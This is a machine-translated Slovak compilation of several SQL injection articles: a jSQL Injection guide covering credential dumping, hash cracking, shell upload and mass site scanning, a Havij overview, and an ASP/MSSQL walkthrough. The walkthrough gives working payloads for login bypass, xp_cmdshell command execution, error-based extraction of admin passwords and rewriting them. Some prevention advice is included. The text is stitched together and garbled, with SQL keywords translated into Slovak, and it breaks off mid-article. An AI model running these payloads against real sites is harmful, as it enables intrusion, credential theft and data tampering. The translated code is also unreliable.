Návod na používanie jSQL Injection, multifunkčného nástroja na vyhľadávanie a využívanie SQL injekcií v Kali Linuxe. SQL Injection dovnútra a von Definovanie výstupných stĺpcov

Spustite stiahnutý súbor dvojitým kliknutím (potrebujete mať virtuálny stroj).

3. Anonymita pri kontrole stránky pre SQL injection

Nastavenie Tor a Privoxy v Kali Linuxe

[Sekcia vo vývoji]

Nastavenie Tor a Privoxy v systéme Windows

[Sekcia vo vývoji]

Nastavenia proxy v jSQL Injection

[Sekcia vo vývoji]

4. Kontrola stránky pre SQL injection pomocou jSQL Injection

Práca s programom je mimoriadne jednoduchá. Stačí zadať adresu webovej stránky a stlačiť ENTER.

Nasledujúca snímka obrazovky ukazuje, že stránka je zraniteľná voči trom typom SQL injekcií (informácie o nich sú uvedené v pravom dolnom rohu). Kliknutím na názvy injekcií môžete prepínať použitú metódu:

Taktiež sa nám už zobrazili existujúce databázy.

Obsah každej tabuľky si môžete pozrieť:

Najzaujímavejšou vecou na tabuľkách sú zvyčajne poverenia správcu.

Ak máte šťastie a nájdete údaje správcu, je priskoro na radosť. Stále musíte nájsť admin panel, kam zadať tieto údaje.

5. Hľadajte admin panely pomocou jSQL Injection

Ak to chcete urobiť, prejdite na ďalšiu kartu. Tu nás privíta zoznam možných adries. Na kontrolu môžete vybrať jednu alebo viac stránok:

Pohodlie spočíva v tom, že nemusíte používať ďalšie programy.

Bohužiaľ, nie je veľa neopatrných programátorov, ktorí ukladajú heslá v čistom texte. Pomerne často v riadku hesla vidíme niečo ako

8743b52063cd84097a65d1633f5c74f5

Toto je hash. Môžete ho dešifrovať pomocou hrubej sily. A... jSQL Injection má vstavaný brute force.

6. Hrubá sila hash pomocou jSQL Injection

Nepochybným pohodlím je, že nemusíte hľadať ďalšie programy. Existuje podpora pre mnohé z najpopulárnejších hashov.

Toto nie je najlepšia možnosť. Aby ste sa stali guruom v dekódovaní hashov, odporúča sa kniha „“ v ruštine.

Ale samozrejme, keď nie je po ruke iný program alebo nie je čas na štúdium, veľmi vhod príde jSQL Injection so vstavanou funkciou hrubej sily.

Existujú nastavenia: môžete nastaviť, ktoré znaky sú zahrnuté v hesle, rozsah dĺžky hesla.

7. Operácie so súbormi po zistení injekcií SQL

Okrem operácií s databázami - ich čítanie a úprava, ak sa zistia injekcie SQL, možno vykonať nasledujúce operácie so súbormi:

  • čítanie súborov na serveri
  • nahrávanie nových súborov na server
  • nahrávanie shellov na server

A to všetko je implementované v jSQL Injection!

Existujú obmedzenia - server SQL musí mať práva na súbory. Správcovia inteligentného systému ich majú vypnuté a nebudú môcť získať prístup k súborovému systému.

Prítomnosť privilégií k súborom sa kontroluje pomerne jednoducho. Prejdite na jednu zo záložiek (čítanie súborov, vytvorenie shellu, nahranie nového súboru) a skúste vykonať jednu zo zadaných operácií.

Ešte veľmi dôležitá poznámka – musíme poznať presnú absolútnu cestu k súboru, s ktorým budeme pracovať – inak nebude fungovať nič.

Pozrite si nasledujúcu snímku obrazovky:

Na akýkoľvek pokus o prácu so súborom dostaneme nasledujúcu odpoveď: Žiadne privilégium FILE(žiadne privilégiá k súborom). A tu sa nedá nič robiť.

Ak namiesto toho máte inú chybu:

Problém so zápisom do [názov_adresára]

To znamená, že ste nesprávne zadali absolútnu cestu, kam chcete súbor zapísať.

Aby ste uhádli absolútnu cestu, musíte aspoň poznať operačný systém, na ktorom server beží. Ak to chcete urobiť, prejdite na kartu Sieť.

Takýto záznam (riadok Win64) nám dáva dôvod predpokladať, že máme čo do činenia s OS Windows:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Pripojenie: Keep-Alive Metóda: HTTP/1.1 200 OK Obsah-Dĺžka: 353 Dátum: Pia, 11. december 2015 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; znaková sada=UTF-8

Tu máme nejaký Unix (*BSD, Linux):

Transfer-Encoding: chunked Dátum: Pi, 11 Dec 2015 11:57:02 GMT Metóda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Connection: keep-alive Content-Type: text/html X- Poháňané: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

A tu máme CentOS:

Metóda: HTTP/1.1 200 OK Vyprší: štvrtok, 19. novembra 1981 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Pripojenie: keep-alive X-Cache-Lookup: MISS z t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS z t1.hoster.ru Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Date: Pi, 11 Dec 2015 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

V systéme Windows je typický priečinok pre lokality C:\Server\data\htdocs\. Ale v skutočnosti, ak niekto „uvažoval“ o vytvorení servera v systéme Windows, potom je veľmi pravdepodobné, že táto osoba nepočula nič o privilégiách. Preto by ste mali začať skúšať priamo z adresára C:/Windows/:

Ako vidíte, všetko prebehlo v poriadku na prvýkrát.

Ale samotné shelly jSQL Injection vyvolávajú v mojej mysli pochybnosti. Ak máte privilégiá k súborom, môžete jednoducho niečo nahrať pomocou webového rozhrania.

8. Hromadná kontrola stránok pre SQL injekcie

A dokonca aj táto funkcia je dostupná v jSQL Injection. Všetko je veľmi jednoduché - stiahnite si zoznam stránok (môžete importovať zo súboru), vyberte tie, ktoré chcete skontrolovať, a kliknutím na príslušné tlačidlo spustite operáciu.

Záver z jSQL Injection

jSQL Injection je dobrý a výkonný nástroj na vyhľadávanie a následné použitie injekcií SQL, ktoré sa nachádzajú na webových stránkach. Jeho nesporné výhody: jednoduché použitie, vstavané súvisiace funkcie. jSQL Injection môže byť najlepším priateľom začiatočníka pri analýze webových stránok.

Medzi nedostatky by som poznamenal nemožnosť editácie databáz (aspoň ja som túto funkcionalitu nenašiel). Ako pri všetkých nástrojoch GUI, jednu z nevýhod tohto programu možno pripísať jeho nemožnosti použiť v skriptoch. Napriek tomu je v tomto programe možná aj určitá automatizácia - vďaka vstavanej funkcii hromadného skenovania stránok.

Program jSQL Injection sa používa oveľa pohodlnejšie ako sqlmap. Ale sqlmap podporuje viac typov SQL injekcií, má možnosti pre prácu so súborovými firewallmi a niektoré ďalšie funkcie.

Zrátané a podčiarknuté: jSQL Injection je najlepší priateľ začínajúceho hackera.

Pomoc pre tento program v Kali Linux Encyklopédii nájdete na tejto stránke: http://kali.tools/?p=706

Havij je program, ktorý kontroluje zraniteľnosť webových stránok. Najčastejšie sa nepoužíva na svoj hlavný účel, konkrétne na vstrekovanie injekcií SQL. Z tohto dôvodu je tento nástroj najčastejšie klasifikovaný ako „hackovací“ softvér.

Princíp činnosti

Pomocou tejto aplikácie môžete vykonávať útoky na webovú službu s cieľom zmeniť výraz SQL pomocou spojenia. Ak je injekcia úspešná, injekcia vám umožní upraviť logiku vykonávania požiadavky používateľa tak, aby vyhovovala vašim vlastným potrebám. Počas útoku sa často vytvorí jednoduchý odtlačok databázy, po ktorom sa z nej importujú potrebné údaje, napríklad databáza používateľov alebo účet správcu. Ak existujú slabé miesta, útočník môže dokonca interagovať s back-end časťou webovej aplikácie. Takáto implementácia umožňuje najmä vykonávať potrebné príkazy na serveri alebo prezerať potrebné súbory na strane hostiteľa.

možnosti

Havij vám umožňuje ukladať hash hesiel a výpisy tabuliek. Program vám umožňuje vykonávať rôzne typy injekcií: SQL injection založené na chybách, UNION dotaz SQL vstrekovanie, skladané dopyty SQL vstrekovanie, časovo založené slepé SQL vstrekovanie a slepé SQL vstrekovanie založené na booleovskej báze. Nástroj pracuje s HTTPS a podporuje rôzne typy DBMS: MSAccess, MySQL, Oracle, PostgreSQ a dokonca aj Sybase. V prípade potreby môže Havij pracovať vo viacerých vláknach prostredníctvom servera proxy.

Syntax vloženého kódu je možné upraviť manuálne. Pred spustením útoku si tiež môžete vybrať zoznam hľadaných kľúčových slov, stĺpcov tabuľky alebo dátových typov (napríklad celé čísla alebo zlomky).

Počas prevádzky si Havij vedie podrobný denník vykonaných operácií, ktorý sa po dokončení útoku ukladá do priečinka programu. Rozhranie aplikácie je celkom intuitívne a všetky hlavné ovládacie prvky sa zmestia do jedného okna.

Kľúčové vlastnosti

  • vykonávanie SQL injekcií s požadovanou syntaxou;
  • podpora rôznych možností implementácie;
  • vyhľadávanie zraniteľností webových stránok a aplikácií;
  • schopnosť pracovať s rôznymi typmi DBMS;
  • Podpora HTTPS a proxy.

SQL injection je útok, ktorý využíva dynamické SQL príkazy komentovaním určitých častí príkazov alebo pridaním podmienky, ktorá bude vždy pravdivá. Zameriava sa na diery v architektúre webových aplikácií a používa príkazy SQL na spustenie škodlivého kódu SQL:

V tomto článku sa pozrieme na techniky používané v SQL injekciách a ako chrániť webové aplikácie pred takýmito útokmi.

Ako funguje SQL injection

Typy útokov, ktoré možno vykonať pomocou vstrekovania SQL, sa líšia v závislosti od typu ovplyvnených databázových strojov. Útok sa zameriava na dynamické príkazy SQL. Dynamický príkaz je príkaz vytvorený v čase spustenia na základe parametrov z webového formulára alebo reťazca dotazu URI.

Zvážte jednoduchú webovú aplikáciu s prihlasovacím formulárom. Kód HTML formulára je uvedený nižšie:

  • Formulár akceptuje e-mailovú adresu a potom sa heslo odošle do súboru PHP s názvom index.php;
  • Relácia je uložená v súbore cookie. Táto funkcia sa aktivuje zaškrtnutím príznaku Remember_me. Na odosielanie údajov sa používa metóda post. To znamená, že hodnoty sa nezobrazujú v adrese URL.

Predpokladajme, že požiadavka na kontrolu ID používateľa na strane servera vyzerá takto:

  • Požiadavka používa hodnoty poľa $_POST priamo bez toho, aby ju dezinfikovala;
  • Heslo je zašifrované pomocou algoritmu MD5.

Pozrieme sa na útok pomocou SQL injection sqlfiddle. Vo svojom prehliadači otvorte adresu URL http://sqlfiddle.com/. Na obrazovke sa zobrazí nasledujúce okno.

Poznámka: Budete musieť napísať príkazy SQL:

Krok 1: Zadajte tento kód do ľavého panela:

CREATE TABLE `users` (`id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); vložiť do používateľov (e-mail, heslo) hodnoty (" [e-mail chránený]",md5("abc"));

Krok 2: Kliknite na tlačidlo Zostavte schému».
Krok 3: Do pravého panela zadajte nižšie uvedený kód:

vyberte * z používateľov;

Krok 4: Kliknite na " Spustite SQL" Uvidíte nasledujúci výsledok:

Predpokladajme, že používateľ zadá e-mailovú adresu [e-mail chránený] a 1234 ako heslo. Dotaz, ktorý je potrebné vykonať v databáze, môže vyzerať takto:

Vyššie uvedený príklad vstrekovacieho kódu SQL je možné obísť zakomentovaním časti hesla a pridaním podmienky, ktorá bude vždy pravdivá. Predpokladajme, že útočník vloží do poľa e-mailovej adresy nasledujúce údaje:

[e-mail chránený]"ALEBO 1 = 1 LIMIT 1 -- " ]

a xxx v poli pre heslo.

Vygenerovaný dynamický príkaz bude vyzerať takto:

  • [e-mail chránený] končí jednou úvodzovkou, ktorá ukončuje reťazec;
  • ALEBO 1 = 1 LIMIT 1 je podmienka, ktorá bude vždy pravdivá a obmedzuje vrátené výsledky len na jeden záznam.

0; ‘ AND ... je komentár SQL, ktorý vylučuje časť hesla.

Skopírujte vyššie uvedený dotaz a vložte ho do textového poľa FiddleRun SQL, ako je znázornené nižšie:

Aktivita hackerov: SQL injekcie do webových aplikácií

Na stránke http://www.techpanda.org/ máme k dispozícii jednoduchú webovú aplikáciu, ktorá je špecificky zraniteľná voči útokom SQL injection pre začiatočníkov na demonštračné účely. Kód HTML formulára uvedený vyššie je prevzatý z autorizačnej stránky tejto aplikácie.

Poskytuje základné zabezpečenie, ako je dezinfekcia e-mailových polí. To znamená, že vyššie uvedený kód nemožno použiť na obídenie tohto mechanizmu.

Ak to chcete obísť, môžete použiť pole pre heslo. Nižšie uvedený diagram ukazuje kroky, ktoré musíte dodržať:

Predpokladajme, že útočník poskytne nasledujúce údaje:

Krok 1: Zadajte [e-mail chránený] ako e-mailovú adresu;
Krok 2: Zadajte xxx’) ALEBO 1 = 1 - ] ;

Kliknite na tlačidlo „Odoslať“.

Bude odoslaný na administračný panel. Vygenerovaný dotaz bude vyzerať takto:

Nasledujúci diagram ukazuje, ako bola žiadosť vygenerovaná:

Tu:

  • Požiadavka predpokladá, že sa používa šifrovanie md5;
  • Používa sa záverečná jednoduchá úvodzovka a zátvorka;
  • K operátoru sa pridá podmienka, ktorá bude vždy pravdivá.

Útočníci sa zvyčajne pokúšajú použiť niekoľko rôznych metód pri útoku SQL injection na dosiahnutie svojich cieľov.

Iné typy útokov SQL injection

Injekcie SQL môžu spôsobiť oveľa väčšie škody ako prihlásenie do systému obídením autorizačného mechanizmu. Niektoré z týchto útokov môžu:

  • Vykonajte vymazanie údajov;
  • Vykonajte aktualizáciu údajov;
  • Pridať údaje;
  • Vykonávať príkazy na serveri, ktorý stiahne a nainštaluje škodlivé programy;
  • Exportujte cenné údaje, ako sú podrobnosti o kreditnej karte, e-mail a heslá, na vzdialený server útočníka.

Vyššie uvedený zoznam nie je úplný. Jednoducho poskytuje predstavu o nebezpečenstvách, ktoré predstavujú injekcie SQL.

Nástroje na automatizáciu SQL injekcií

Vo vyššie uvedenom príklade sme použili metódy manuálneho útoku. Pred vykonaním injekcie SQL musíte pochopiť, že existujú automatizované nástroje, ktoré vám umožňujú vykonávať útoky efektívnejšie a rýchlejšie:

  • SQLSmack ;
  • SQLPing 2;
  • SQLMap.

Ako zabrániť SQL injekciám

Tu je niekoľko jednoduchých pravidiel na ochranu pred útokmi SQL injection:

Vstup používateľa by nemal byť dôveryhodný. Pred použitím údajov v dynamických operáciách SQL je vždy potrebné ich dezinfikovať.

Uložené procedúry- Môžu zapuzdrovať SQL dotazy a spracovávať všetky vstupné dáta ako parametre.

Pripravené otázky- Najprv sa vytvoria dopyty a potom sa všetky poskytnuté údaje používateľa spracujú ako parametre. Toto nemá vplyv na syntax príkazu SQL.

Regulárne výrazy- možno použiť na detekciu potenciálne škodlivého kódu a jeho odstránenie pred vykonaním príkazov SQL.

Prístupové práva na pripojenie k databáze- do chrániť pred SQL injekciamiúčtom, ktoré sa používajú na pripojenie k databáze, by mali byť udelené iba potrebné prístupové práva. Pomôže to obmedziť akcie, ktoré môžu príkazy SQL vykonávať na serveri.

Chybové hlásenia- nesmie zverejňovať dôverné informácie. Jednoduché vlastné chybové hlásenia, ako napríklad „ Ľutujeme, vyskytla sa technická chyba. Tím podpory už bol o tom informovaný. Skúste neskôr prosím" možno použiť namiesto zobrazenia SQL dotazov, ktoré spôsobili chybu.

SQL Injection pre figuríny, hackovanie ASP+MSSQL

Alexander Antipov

Tento článok neobsahuje žiadne nové pravdy, SQL injection je široko popísaný a používaný všade. Článok je skôr určený pre začiatočníkov, no snáď sa profesionálom podarí nájsť jeden-dva nové triky.


Tento článok má pomôcť nováčikom vyrovnať sa s problémami, s ktorými sa môžu stretnúť pri používaní techniky SQL Injection, úspešne ju používať a vedieť sa pred takýmito útokmi chrániť.

Úvod

Keď má záujmový server otvorený iba port 80 a skener zraniteľnosti nemôže hlásiť nič zaujímavé a vy viete, že správca systému vždy veľmi rýchlo nainštaluje všetky záplaty na webový server, naša posledná šanca je webový hacking. SQL injection je jedným z typov web hackingu, ktorý používa iba port 80 a môže fungovať, aj keď sú záplaty nainštalované včas. Tento útok je viac zameraný na webové aplikácie (ako ASP, JSP, PHP, CGI atď.), ako priamo na webový server alebo služby v OS.

Tento článok neobsahuje žiadne nové pravdy, SQL injection je široko popísaný a používaný všade. Článok je skôr určený pre začiatočníkov, no snáď sa profesionálom podarí nájsť jeden-dva nové triky. Odporúčam tiež pozrieť si odkazy na konci článku, kde nájdete podrobnejšie informácie od odborníkov v danej oblasti.

1.1 Čo je SQL Injection?

SQL Injection je metóda navrhnutá na vkladanie SQL dotazov/príkazov cez webové stránky. Mnoho webových stránok používa parametre prezentované používateľom webu a vytvára SQL dotaz do databázy. Zoberme si napríklad prípad prihlásenia užívateľa, kedy existuje webová stránka s menom a heslom a v databáze je vykonaný SQL dotaz na kontrolu, či existuje registrovaný užívateľ s týmto menom a heslom. Pomocou SQL Injection je možné poslať vytvorené pole pre meno a/alebo heslo, ktoré upraví SQL dotaz, čo nám môže poskytnúť zaujímavé veci.

2.0 Čo by sme mali hľadať

Skúste nájsť stránky, ktoré od vás žiadajú údaje, ako napríklad stránka vyhľadávania, diskusná stránka atď. Niekedy html stránky používajú metódu POST na odosielanie príkazov na inú webovú stránku. V tomto prípade neuvidíte parametre v adrese URL. V tomto prípade však môžete v zdrojovom kóde HTML stránok hľadať značku „FORM“. Nájdete niečo takéto:



Všetky parametre medzi

A
môže byť potenciálne zraniteľný voči vstrekovaniu SQL.

2.1 Čo ak nenájdete stránku, ktorá používa vstup?

Hľadajte stránky ako ASP, JSP, CGI alebo webové stránky PHP. Skúste nájsť stránky, ktoré používajú parametre ako:

3.0. Ako môžem skontrolovať, či je to, čo som našiel, zraniteľné?

Skúste začať jedným citátom. Zadajte nasledujúci riadok:

ahoj" alebo 1=1--

v poli používateľského mena alebo hesla alebo dokonca v parametri URL. Príklad:

Prihlásenie: ahoj" alebo 1=1--
Pass: ahoj" alebo 1=1--
http://duck/index.asp?id=hi" alebo 1=1--

Ak ste to urobili so skrytým poľom, stiahnite si pôvodný kód HTML, uložte ho na pevný disk, podľa toho zmeňte adresu URL a skryté pole. Príklad:



Ak je šťastie na vašej strane, budete sa môcť prihlásiť bez používateľského mena alebo hesla.

3.1 Ale prečo "alebo 1=1--?

Pozrime sa na ďalší príklad, ktorý vysvetľuje užitočnosť konštrukcie „ alebo 1=1--. Okrem obídenia registrácie sa môžeme pozrieť aj na ďalšie informácie, ktoré nie sú zvyčajne dostupné. Predstavte si stránku asp, ktorá odkazuje na inú stránku s nasledujúca adresa URL:

http://duck/index.asp?category=food

V adrese URL je „kategória“ názov premennej a „jedlo“ je hodnota priradená tejto premennej. Ak to chcete urobiť, stránka asp môže obsahovať nasledujúci kód:

v_cat = request("kategória")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

Ako vidíte, naša premenná bude kombinovaná s v_cat a teda SQL dotaz by mal byť:

VYBERTE * Z produktu WHERE PCategory="food"

Tento dotaz musí vrátiť množinu obsahujúcu jeden alebo viac riadkov, ktoré zodpovedajú klauzule WHERE, v tomto prípade „jedlo“. Teraz zmeňte adresu URL takto:

http://duck/index.asp?category=food" alebo 1=1--
VYBERTE * Z produktu WHERE PCategory="food" alebo 1=1--'

Tento dotaz vráti všetky riadky v tabuľke produktov bez ohľadu na to, či je Pcategory "jedlo" alebo nie. Dvojitá pomlčka „-“ hovorí MS SQL Server, aby ignoroval zvyšok dotazu, ktorý nasleduje po jednoduchých úvodzovkách (“). Niekedy môžete dvojitú pomlčku nahradiť ostrým „#“.

Ak však používate server iný ako SQL alebo nemôžete ignorovať zvyšok dotazu, skúste:

" alebo "a"="a

Teraz bude SQL dotaz:

VYBERTE * Z produktu WHERE PCategory="food" alebo "a"="a"

Tento dotaz vráti rovnaký výsledok.

V závislosti od aktuálneho dotazu SQL možno budete musieť vyskúšať niektoré z týchto možností:

"alebo 1=1--
"alebo 1=1--
alebo 1=1--
" alebo "a"="a
" alebo "a"="a
") alebo ("a"="a

4.0 Ako môžem vykonávať príkazy na diaľku pomocou SQL injection?

Možnosť zadať príkaz SQL zvyčajne znamená, že môžeme ľubovoľne vykonávať SQL dotazy. Štandardná inštalácia MS SQL Server beží so systémovými právami. Môžeme zavolať vstavané procedúry ako master..xp_cmdshell na vzdialené vykonávanie ľubovoľných príkazov:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Skúste použiť dvojité úvodzovky ("), ak (") nefunguje.

Bodkočiarka ukončí aktuálny SQL dotaz a umožní vám spúšťať nové SQL príkazy. Ak chcete skontrolovať, či bol príkaz úspešný, môžete skontrolovať pakety ICMP v 10.10.1.2 a zistiť, či neobsahujú nejaké pakety zo zraniteľného servera:

http://site/?ID=31610

Ak zo servera nedostanete žiadnu požiadavku ping a dostanete chybovú správu označujúcu chybu povolenia, je možné, že administrátor obmedzil prístup webového používateľa k uloženým procedúram.

5.0 Ako získam výsledky môjho dotazu SQL?

Na napísanie požiadavky v HTML môžete použiť sp_makewebtask:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "VYBERTE * Z INFORMAČNÝCH_SCHÉMOV.TABUĽKY"

Zadaná adresa IP musí mať priečinok „share“ s prístupom pre všetkých.

6.0 Ako získať údaje z databázy pomocou chybových správ ODBC?

Na získanie akýchkoľvek údajov môžeme použiť informácie z chybového hlásenia vytvoreného serverom SQL. Zvážte napríklad nasledujúcu stránku:

http://duck/index.asp?id=10

Teraz sa pokúsime spojiť celé číslo „10“ s iným riadkom v databáze:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Systémová tabuľka INFORMATION_SCHEMA.TABLES obsahuje informácie zo všetkých tabuliek na serveri.

Pole TABLE_NAME samozrejme obsahuje názov každej tabuľky v databáze. Bol vybraný, pretože vieme, že vždy existuje. Naša požiadavka:

VYBERTE TOP 1 TABLE_NAME Z INFORMAČNÉHO SCHÉMATU.TABLES--

Tento dotaz vráti krstné meno v databáze. Keď zjednotíme túto hodnotu reťazca na celé číslo 10, MS SQL Server sa pokúsi previesť reťazec nvarchar na celé číslo. Toto vyvolá chybu, že nemôže previesť nvarchar na int. Server zobrazí nasledujúcu chybu:


Chyba syntaxe pri prevode hodnoty nvarchar "table1" to a column of data type int. !}
/index.asp, riadok 5

Chybové hlásenie obsahuje informácie o hodnote, ktorú nemožno previesť na celé číslo. V tomto prípade sme dostali názov prvej tabuľky - "tabuľka1".

Na získanie názvu ďalšej tabuľky môžeme použiť nasledujúci dotaz:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ("table1")--

Údaje môžeme vyhľadávať aj pomocou klávesu LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME Z INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE "%25login%25"--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07" Chyba syntaxe pri prevode hodnoty nvarchar "admin_login" to a column of data type int. !} /index.asp, riadok 5

Zodpovedajúca konštrukcia "%25login%25" bude nahradená %login% na serveri SQL. V tomto prípade dostaneme názov tabuľky, ktorý zodpovedá kritériu „admin_login“.

6.1 Ako zistím všetky názvy stĺpcov v tabuľke?

Na zobrazenie všetkých názvov stĺpcov v tabuľke môžeme použiť tabuľku INFORMATION_SCHEMA.COLUMNS:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "login_id" to a column of data type int. !}
/index.asp, riadok 5

Teraz, keď poznáme názov prvého stĺpca, môžeme použiť NOT IN() na získanie názvu ďalšieho stĺpca:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" KDE NIE JE VSTUP STĹPCA ("login_id")-

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "login_name" to a column of data type int. !}
/index.asp, riadok 5

Pokračovaním získame zvyšok názvov stĺpcov, t.j. "heslo", "detaily", kým nedostaneme nasledujúcu chybu.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME Z INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" KDE NEMÁ STĹPCA ("login_id","login_name","password",details")--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e14"
Položky ORDER BY sa musia objaviť vo výberovom zozname, ak výpis obsahuje operátor UNION.
/index.asp, riadok 5

6.2. Ako získame údaje, ktoré potrebujeme?

Teraz, keď sme identifikovali niektoré dôležité tabuľky, môžeme použiť rovnakú techniku ​​na získanie informácií z databázy.

Poďme získať prvé prihlasovacie meno z tabuľky „admin_login“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "neo" to a column of data type int. !}
/index.asp, riadok 5

Teraz vieme, že existuje používateľ admin s prihlasovacím menom „neo“. Nakoniec môžeme získať heslo „neo“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo OD admin_login kde login_name="neo"--

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "m4trix" to a column of data type int. !}
/index.asp, riadok 5

Teraz sa budeme môcť prihlásiť ako „neo“ s heslom „m4trix“.

6.3 Ako získať číselnú hodnotu reťazca?

Vo vyššie opísanej metóde existuje obmedzenie. Nebudeme môcť dostať chybové hlásenie, ak sa pokúsime konvertovať text, ktorý pozostáva z čísla (len znaky medzi 0...9). Teraz popíšeme získanie hesla „31173“ od používateľa „trinity“:

http://duck/index.asp?id=10 UNION SELECT TOP 1 heslo FROM admin_login kde login_name="trinity"--

Pravdepodobne sa nám zobrazí chyba „Stránka sa nenašla“. Dôvodom je, že heslo "31173" bude prevedené na číslo pred UNION s celým číslom (v našom prípade 10). Keďže výraz UNION je správny, SQL server nevygeneruje chybové hlásenie, a teda nebudeme môcť získať číselný záznam.

Aby sme tento problém vyriešili, môžeme na koniec pridať číselný reťazec s niekoľkými písmenami, aby sme zabránili konverzii. Upravená požiadavka:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

Jednoducho použijeme znamienko plus (+) na pripojenie hesla k ľubovoľnému textu (kódovanie ASCII pre „+“ = 0x2b). Ďalej na koniec skutočného hesla pripojíme „%20morpheus“. Takže aj keď je hodnota hesla "31173", stane sa "31173 morpheus". Pri manuálnom volaní funkcie convert() pri pokuse o konverziu "31173 morpheus" na celé číslo SQL Server vyvolá chybové hlásenie ODBC:

Chyba poskytovateľa Microsoft OLE DB pre ovládače ODBC "80040e07"
Chyba syntaxe pri prevode hodnoty nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, riadok 5

Teraz sa budeme môcť prihlásiť ako „trinity“ s heslom „31173“.

7.0 Ako upraviť/vložiť údaje do databázy?

Keď už máme mená všetkých podľa stĺpcov v tabuľke, môžeme aktualizovať (UPDATE) alebo dokonca vložiť (INSERT) nový záznam do tabuľky. Napríklad môžeme zmeniť heslo pre „neo“:

http://duck/index.asp?id=10; AKTUALIZÁCIA "admin_login" SET "password" = "newpas5" KDE login_name="neo--

VLOŽENIE nového záznamu do databázy:

http://duck/index.asp?id=10; INSERT INTO "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2","newpas5","NA")--

Teraz sa budeme môcť prihlásiť ako „neo“ s heslom „newpas5“.

8.0 Ako sa vyhnúť SQL Injection?

Filtrovať špeciálne znaky vo všetkých riadkoch v:

Akékoľvek údaje zadané používateľom
- parametre adresy URL
- Cookie

V prípade číselných hodnôt ich pred odovzdaním do dotazu SQL skonvertujte na celé číslo. Alebo použite ISNUMERIC, aby ste sa uistili, že ide o celé číslo.

Spustite SQL Server ako neprivilegovaný používateľ.

Odstráňte nepoužívané uložené procedúry: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

S pozdravom čitateľ. V poslednom čase som sa zaujímal o webovú bezpečnosť a do istej miery s tým súvisí aj moja práca. Pretože Čoraz častejšie som si začal všímať témy na rôznych fórach, ktoré sa ich pýtali, aby ukázali, ako to celé funguje, a tak som sa rozhodol napísať článok. Článok bude zameraný na tých, ktorí sa s tým nestretli, no chceli by sa poučiť. Článkov na túto tému je na internete pomerne veľa, no pre začiatočníkov sú trochu komplikované. Pokúsim sa všetko opísať jasným jazykom a podrobnými príkladmi.

Predslov

Aby ste porozumeli tomuto článku, skutočne nepotrebujete znalosť jazyka SQL, ale aspoň dobrú trpezlivosť a trochu mozgu na zapamätanie.

Verím, že len prečítanie článku nebude stačiť, pretože... potrebujeme živé príklady - ako viete, prax v procese zapamätania nie je nikdy zbytočná. Preto budeme písať zraniteľné skripty a trénovať na nich.

Čo je SQL injection?
Zjednodušene povedané, ide o útok na databázu, ktorý vám umožní vykonať nejakú akciu, ktorú tvorca scenára neplánoval. Príklad zo života:

Otec napísal v poznámke svojej matke, aby dala Vasyovi 100 rubľov a položila ju na stôl. Prepracovaním do komiksového jazyka SQL dostaneme:
Vezmi 100 RUBOV Z PEŇAŽENKY A DAJ ICH Vasyovi

Keďže otec napísal poznámku zle (nemotorný rukopis) a nechal ju na stole, Vasyov brat Petya to videl. Petya ako hacker tam pridala „ALEBO Pete“ a výsledkom bola nasledujúca požiadavka:
Vezmi 100 RUBĽOV Z PEŇAŽENKY A DAJ ICH Vasyovi ALEBO Petyovi

Mama sa po prečítaní poznámky rozhodla, že včera dala peniaze Vasyovi a Petyovi dala 100 rubľov. Tu je jednoduchý príklad SQL injection zo života:) Bez filtrovania údajov (mama sotva rozumela rukopisu) Peťo zarobil.

Príprava
Na precvičenie budete potrebovať archív so zdrojovými skriptami k tomuto článku. Stiahnite si ho a rozbaľte na serveri. Taktiež importujte databázu a nastavte údaje v súbore cfg.php

Search SQL injection

